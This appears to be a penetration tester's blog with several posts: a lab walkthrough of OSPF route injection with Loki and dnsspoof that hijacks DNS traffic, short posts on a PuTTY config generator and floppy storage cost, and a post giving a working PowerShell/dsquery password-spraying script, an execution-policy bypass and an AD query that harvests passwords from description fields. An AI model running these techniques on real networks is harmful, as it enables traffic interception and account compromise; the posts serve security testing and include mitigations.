Widening Attack Landscape with OSPF Route Injection.

Introduction

A basic overview of how we can leverage poorly configured OSPF network configurations to compromise campus networks and increase the attack landscape for further attacks.

As a former network engineer I tend to have a slightly skewed view on network attack vectors and I wanted to experiment with these for my new role as a penetration tester. Here I will discuss how we can use the OSPF routing protocol for evil.

 

The Lab

Initially I attempted this testing with a GNS3 environment but I despite all my efforts I was unable to form an OSPF neighbour adjacency using the Loki toolkit. I moved on to a physical lab setup but I'm still finding the Loki tool very flaky at maintaining relationships, It the real world It may be easier to have a small physical router to inject the routes from.

Kali and Windows 7 are VM's running on my laptop, SW1 represents the vSwitch in VirtualBox. Both VM's have bridged networking to Ethernet which is directly connected to the Cisco 1841 router. The Internet cloud is fictitious.

Loki:
The only additional tool I have installed into my Kali build for this is Loki which can be found here: http://www.c0decafe.de/loki.html

Cisco 1841 Router config:
!
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname TEST_RTR
!
boot-start-marker
boot-end-marker
!
no aaa new-model
!
resource policy
!
ip cef
!
!
no ip dhcp use vrf connected
ip dhcp excluded-address 192.168.1.1 192.168.1.100
ip dhcp excluded-address 192.168.1.200 192.168.1.254
!
ip dhcp pool DHCP_POOL
network 192.168.1.0 255.255.255.0
default-router 192.168.1.254
dns-server 8.8.8.8 8.8.4.4
!
interface FastEthernet0/0
description OUTSIDE
ip address dhcp
duplex auto
speed auto
no cdp enable
!
interface FastEthernet0/1
description INSIDE
ip address 192.168.1.254 255.255.255.0
ip nat inside
duplex auto
speed auto
!
router ospf 1
log-adjacency-changes
network 192.168.1.0 0.0.0.255 area 0
!
ip route 0.0.0.0 0.0.0.0 FastEthernet0/0 dhcp
!
!
no ip http server
no ip http secure-server
ip nat inside source list 101 interface FastEthernet0/0 overload
!
access-list 101 permit ip 192.168.1.0 0.0.0.255 any
!
control-plane
!
line con 0
logging synchronous
line aux 0
line vty 0 4
access-class 1 in
logging synchronous
login local
transport input ssh
!
scheduler allocate 20000 1000
end

 

Exploitation

Exploitation is pretty straight forward thanks to the simple Loki GUI, although as mentioned in the introduction the neighbour relationships can be pretty flaky, I found the relationship and injection processes may just stop working at random and require a reload of Loki.
Here is the output of OSPF neighbours and ip route before we begin:

 
After we fire up Loki and hit start we can see our peer HELLO packet is detected

 
All we need to do is hit the 'Hello' button and Loki will attempt to negotiate a neighbour relationship with our peer router….

 
And on the 1841 we can see we are stuck in Exchange… classic Loki. I'll have to restart Loki a couple of times until I get a success…

 
A couple of tries later and we have successfully negotiated a full relationship.

 
Now for the route injection. For the demo I will be injecting a false route to googles DNS servers, I would do this by injecting the routes 8.8.8.8/32 and 8.8.4.4/32 to avoid causing noticeable network issues. However, as Loki is not the most reliable and crashes far too frequently for my liking I will only inject a route 8.8.0.0/16, it seems to fall apart when injecting more than one route.
Or at least this was my plan. Loki seems to have gotten one of the first parts of my demo stuck and will not inject any further routes so we will have to roll with that we have for now to complete the demo.

Not what we wanted but we can deal with this for demonstration purposes.
Now any network traffic destined for 8.8.4.4 will be routed back onto the internal network to 192.168.1.175, This is great for us! From here the world is our oyster, we can do anything we want with network traffic when we can manipulate the routes. For the demo I will launch dnsspoof in Kali.

 
And then from our Window 7 Victim VM we can see that any DNS requests we believe are going to google are actually being answered by dnsspoof and returning the IP of our own server.

 

Mitigation

This type of attack can be easily mitigated by implementing a few security best practices, for Cisco networks you should make use of the passive-interface command to prevent OSPF hello's propagating the internal network on interfaces where they are not required. In addition it would be sensible to apply OSPF password authentication to prevent unauthorised neighbour relationships.
Further reading on these can be found here:
http://www.cisco.com/c/en/us/support/docs/ip/open-shortest-path-first-ospf/13697-25.html

http://www.cisco.com/c/en/us/td/docs/ios-xml/ios/iproute_pi/configuration/xe-3s/iri-xe-3s-book/iri-default-passive-interface.html


 

Conclusion

I hope this article has demonstrated just how easily network traffic can be manipulated and if any network admins stumble upon this article I really hope they will think to take a second look at their network configurations and implement some of the mitigation techniques above.

While Loki in principle is a great toolkit, in practice is it very unreliable and frustrating to work with. If I can find more time to dedicate to this specific topic I would look to either fix Loki or develop my own toolkit for performing these types of attack.

It would be easy to think that these type of poor network configurations do not exist in the wild, but in my experience they are far more common than we would like to think.

Simple Putty Session Config Generator

So, this is probably a familiar story for most SysAdmins/Network engineers. You go somewhere new and seem to spend an inordinate amount of time trying to locate the hostnames/ip addresses of network devices you need to manage. As a Cisco engineer my work is predominately SSH/Telnet based and it becomes incredibly irritating to be scrabbling around trying to find device IP addresses, especially in larger environments.

You might find this little script I've written if this sounds at all familiar! I'm not sure why no one has done this before but this small script will happily take CSV based data in and spit out a windows registry format you can import to give you the saved putty sessions you are probably used to. The data should be provided in the following format:

Hostname,IPaddress,Protocol,PortNumber

(You may need to 'Show all content' if warned as this blog post used cross-site scripting to parse the PHP script. Blogger won't let me do it here!)

EDIT: It appears my attempt to put the PHP in an object here hasn't really worked. You can view the script here: http://tinyurl.com/oave9j7

Most expensive storage media?

From the title you might assume i'm referring to PCI-e SSD storage or something similar, but i'm actually referring to the classic 1.44mb floppy disk!

Someone in the office discovered an old floppy disk in a laptop bag they were clearing out, i said in jest "Surely can't buy those any more?". I was wrong.....

A quick Google turned up a medially of stores offering brand new packs of 10x 1.44mb floppy disks at varying prices. To keep it simple i've picked one of the cheaper offers - £5.51 per pack available from goodstall.co.uk (never heard of them, but we'll assume they could deliver.)

http://www.goodsstall.co.uk/87410---verbatim-35-disks-10-pack---verbatim-32213-p.asp

We often refer to our cost of storage as pence per gigabyte (ppg), based on this the good old floppy disk is going to cost us a staggering 38,263ppg!!

To put this in to context, a run of the mill 2TB USB external HDD would only cost around 22ppg.

Comparatively, even this ludicrously expensive 3.2TB PCI-e SSD storage would 'only' cost 7298ppg
http://www.span.com/product/OCZ-PCI-Express-Z-Drive-R4-CM88-ZD4CM88-FH-3-2T-PCI-Express-v2-x8-SSD-3-2TB-SSD~34393

Staggering, huh?

Powershell/DSQuery attack

During some recent basic pen testing on out live XenApp 6.5 environment i happened upon an interesting discovery, essentially our desktop management software (RES) could be circumvented from a Powershell session simply by making the exe available to the user. I copied the executable from my local system to a network drive which i could access and launch from within Citrix.

This got me thinking about powershell based attack methods. With a little searching i turned up this interesting video posted on YouTube by David Hoelzer: http://www.youtube.com/watch?v=XpHgSHQZNpU

Now, in my scenario David's script would not work. I made the DSQuery exe, dll and DSGet.exe available by copying to the same network location as i had been able to launch Powershell from but DSGet would not function. However, DSQuery worked as expected. This set me about looking to use DSQuery to achieve the same result using a slightly different script.

First problem, powershell's execution policy would not allow me to run a ps1 script. I bypassed this by starting a powershell with the attribute "-ExecutionPolicy Bypass"

PS > .\powershell.exe -ExecutionPolicy Bypass

I then constructed my slightly modified script which uses only features of DSQuery.

.\dsquery.exe user -o samid -limit 0 > users
foreach ($samid in Get-Content .\users)
{
    Write-Host $samid
    foreach ($password in Get-Content ./password.txt)
    {
        .\dsquery.exe user -samid $samid -u $samid -p $password 2>> $null
        if($?) {
            $str = "Account: $samid $password"
            $str | Out-File checked.txt -append
        }
    }
}

I then created my password file. A simple list of passwords i wanted to attempt against each account that was returned from the directory query. Being conscious that i didn't want to trigger our account lockout attempts i opted to only attempt two basic passwords.

password
companyname

I executed the script from a test account with nothing more than Domain User privs and out popped my results to checked.txt file.

Amazingly (but unsurprisingly), it returned 3 accounts with with the password {companyname} but none with the password password. Good users, well done....

The biggest concern here really is that we can gather a list of all usernames on the domain from any user account which gives us a good angle to brute force our way to a higher privilege level account if we have guessed our way onto the network with say a training or test account.

Additionally, I thought this was quite an interesting query.

 .\dsquery.exe * -filter "(objectClass=Person)" -limit 0 -attr SAMAccountName Description

 Because this will expose any passwords that lazy admins have left in the description field in AD against the username. Yes, i did discover some very worrying accounts with this, namely an account setup for suppliers with SQL admin privs.